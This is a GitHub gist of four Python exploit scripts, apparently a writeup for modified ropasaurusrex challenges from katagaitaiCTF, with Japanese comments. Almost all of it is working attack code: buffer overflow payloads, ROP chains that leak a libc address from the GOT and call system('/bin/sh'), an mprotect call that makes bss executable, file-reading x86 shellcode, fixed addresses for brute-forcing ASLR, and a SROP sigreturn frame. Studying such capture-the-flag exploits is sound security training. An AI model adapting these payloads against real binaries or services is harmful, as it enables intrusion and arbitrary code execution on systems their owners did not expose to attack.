Created
July 6, 2015 08:25
-
-
Save akiym/7895c1ac048d3e270019 to your computer and use it in GitHub Desktop.
魔改造ropasaurusrex writeup #katagaitaiCTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack("<I", x) | |
u = lambda x: struct.unpack("<I", x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = "" | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = "" | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = '' | |
port = 1026 | |
# つ https://github.com/akiym/akitools/blob/master/libc-offsets | |
offset = { | |
'__libc_start_main': 0x19990, | |
'system': 0x40190, | |
'/bin/sh': 0x160a24, | |
} | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'system': 0x40190, | |
'/bin/sh': 0x161344, | |
} | |
leaveret = 0x80482ea | |
pop2ret = 0x80484b7 | |
pop3ret = 0x80484b6 | |
bss = 0x8049628 + 0x300 | |
# 地味に書き込むバッファサイズが小さいのでstack pivotをする。イメージとしてはbssにROPのpayloadを移すかんじ。 | |
# __libc_start_main@gotから読み出してlibcのベースアドレスを求める。 | |
# あとはsystem("/bin/sh")を実行。 | |
s = connect(host, port) | |
payload = ( | |
'A' * 136 + | |
p(bss-4) + # ebp | |
p(0x804832c) + # read@plt | |
p(pop2ret) + | |
p(0) + | |
p(bss) + | |
p(leaveret) + | |
'' | |
) | |
s.send(payload) | |
payload = ( | |
p(0xdeadbeef) + | |
p(0x804830c) + # write@plt | |
p(pop3ret) + | |
p(1) + | |
p(0x8049618) + # __libc_start_main@got | |
p(4) + | |
p(0x804832c) + # read@plt | |
p(pop3ret) + | |
p(0) + | |
p(bss+4*11) + | |
p(0x100) + | |
'' | |
) | |
s.send(payload) | |
leak = u(recvn(4))-offset['__libc_start_main'] | |
print '[+] leak : %x' % leak | |
payload = ( | |
p(leak+offset['system']) + | |
p(0xdeadbeef) + | |
p(leak+offset['/bin/sh']) + | |
'' | |
) | |
s.send(payload) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack("<I", x) | |
u = lambda x: struct.unpack("<I", x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = "" | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = "" | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = '' | |
port = 1027 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'mprotect': 0xe70d0, | |
'system': 0x40190, | |
'/bin/sh': 0x160a24, | |
} | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'mprotect': 0xe79f0, | |
'system': 0x40190, | |
'/bin/sh': 0x161344, | |
} | |
leaveret = 0x80482ea | |
pop2ret = 0x80484b7 | |
pop3ret = 0x80484b6 | |
bss = 0x8049628 + 0x300 | |
# chroot環境なので/bin/shが存在しない。つまりみんな大好きsystem("/bin/sh")が通用しない。 | |
# シェルコードを実行できるようにしたいが、NXが有効なのでmprotectでbssにrwxを付加する必要がある。 | |
s = connect(host, port) | |
payload = ( | |
'A' * 136 + | |
p(bss-4) + | |
p(0x804832c) + # read@plt | |
p(pop2ret) + | |
p(0) + | |
p(bss) + | |
p(leaveret) + | |
'' | |
) | |
s.send(payload) | |
payload = ( | |
p(0xdeadbeef) + | |
p(0x804830c) + # write@plt | |
p(pop3ret) + | |
p(1) + | |
p(0x8049618) + # __libc_start_main@got | |
p(4) + | |
p(0x804832c) + # read@plt | |
p(pop3ret) + | |
p(0) + | |
p(bss+4*11) + | |
p(0x100) + | |
'' | |
) | |
s.send(payload) | |
leak = u(recvn(4))-offset['__libc_start_main'] | |
print '[+] leak : %x' % leak | |
payload = ( | |
p(leak+offset['mprotect']) + | |
p(pop3ret) + | |
p(bss & ~0xfff) + | |
p(0x1000) + | |
p(7) + | |
p(0x804832c) + # read@plt | |
p(pop3ret) + | |
p(0) + | |
p(bss+0x100) + | |
p(0x100) + | |
p(bss+0x100) + # シェルコード | |
'' | |
) | |
s.send(payload) | |
# ファイル一覧 | |
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc' | |
# ファイル読み込み | |
sc = '\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x40\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_1170037582419425558' | |
s.send(sc) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack("<I", x) | |
u = lambda x: struct.unpack("<I", x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = "" | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = "" | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = '' | |
port = 1028 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'mprotect': 0xe70d0, | |
'system': 0x40190, | |
'/bin/sh': 0x160a24, | |
} | |
# ASLRによってランダマイズされるが、32bitなのでブルートフォースで突破できる。 | |
# リモート環境のアドレスを調べておいてそれを決め打ち。 | |
leak = 0xf75b7000 | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
offset = { | |
'__libc_start_main': 0x19990, | |
'mprotect': 0xe79f0, | |
'system': 0x40190, | |
'/bin/sh': 0x161344, | |
} | |
#leak = 0xf7e0d000 | |
leak = 0xf75e3000 | |
leaveret = 0x80482ea | |
pop2ret = 0x80484b7 | |
pop3ret = 0x80484b6 | |
bss = 0x8049628 + 0x300 | |
# アドレスリークする必要がないので3よりもシンプルになる。 | |
s = connect(host, port) | |
payload = ( | |
'A' * 136 + | |
p(bss) + | |
p(0x804832c) + # read@plt | |
p(pop2ret) + | |
p(0) + | |
p(bss) + | |
p(leaveret) + | |
'' | |
) | |
s.send(payload) | |
payload = ( | |
p(0xdeadbeef) + | |
p(leak+offset['mprotect']) + | |
p(pop3ret) + | |
p(bss & ~0xfff) + | |
p(0x1000) + | |
p(7) + | |
p(0x804832c) + # read@plt | |
p(pop3ret) + | |
p(0) + | |
p(bss+0x100) + | |
p(0x100) + | |
p(bss+0x100) + | |
'' | |
) | |
s.send(payload) | |
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc' | |
sc = '\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x80\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_326175712236627770' | |
s.send(sc) | |
interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
p = lambda x: struct.pack("<I", x) | |
u = lambda x: struct.unpack("<I", x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = "" | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = "" | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = '' | |
port = 1029 | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
# ASLRによってランダマイズされるが、32bitなので(以下略 | |
# スタックのアドレスを決め打ち。 | |
stack = 0xffffd7d8 | |
stack = 0xffec8ed8 | |
int80 = 0x080480cf | |
read = 0x80480b8 | |
write = 0x80480d2 | |
base = 0x8048000 | |
# int 0x80が呼べるのでsigreturnを利用してレジスタに任意の値をセットする。いわゆるSROP。 | |
# SROPでmprotectを呼んでからシェルコードを実行する。 | |
s = connect(host, port) | |
# mprotect(0x8048000, 0x1000, 7)を呼ぶ。これで0x8048000以降が読み書き、実行可になる。 | |
# レジスタの並びについてはsigcontext.hのstruct sigcontext参照。とりあえずgdbでレジスタの値を確認しながら書いた。 | |
sigreturn = ( | |
'\x00' * 24 + | |
p(stack) + # ebp | |
p(stack) + # esp | |
p(base) + # ebx | |
p(7) + # edx | |
p(0x1000) + # ecx | |
p(125) + # eax: mprotect | |
'\x00' * 8 + | |
p(0x80480f7) + # eip: int 0x80からのvuln | |
# cs, ss | |
'\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | |
) | |
payload = ( | |
'A' * 128 + | |
p(0x80480f9) + | |
'\x00' * 8 + | |
sigreturn + | |
'' | |
) | |
s.send(payload) | |
# 119byte分writeすることでeaxに119(sigreturn)をセットする。 | |
payload = ( | |
'A' * 128 + | |
p(write) + | |
p(int80) + | |
p(1) + | |
p(base) + | |
p(119) + # sigreturn | |
'\x2b\x00' + # ds | |
'' | |
) | |
time.sleep(0.1) | |
s.send(payload) | |
payload = ( | |
'A' * 128 + | |
p(read) + | |
p(base) + | |
p(0) + | |
p(base) + | |
p(0x1000) + | |
'' | |
) | |
s.send(payload) | |
#sc = '\xeb\x3c\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\xb2\x7f\x89\xe1\x89\xc3\xb0\x59\x60\xcd\x80\x85\xc0\x74\x21\x66\x0f\xb6\x51\x08\xb3\x01\x8d\x4c\x19\x09\xb0\x04\xcd\x80\xb2\x01\x8d\x4a\x09\x51\x89\xe1\xb0\x04\xcd\x80\x83\xc4\x04\x61\xeb\xd8\xcc\xe8\xbf\xff\xff\xff\x2e\x00\xcc' | |
sc = '\x90'+'\xeb\x1d\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xcd\x80\x89\xc3\x89\xe1\xb2\x80\xb0\x03\xcd\x80\x92\xb3\x01\xb0\x04\xcd\x80\xc3\xe8\xde\xff\xff\xff' + 'flag_d92c506474d5d22338312d8f0f57b85f' | |
s.send(sc) | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment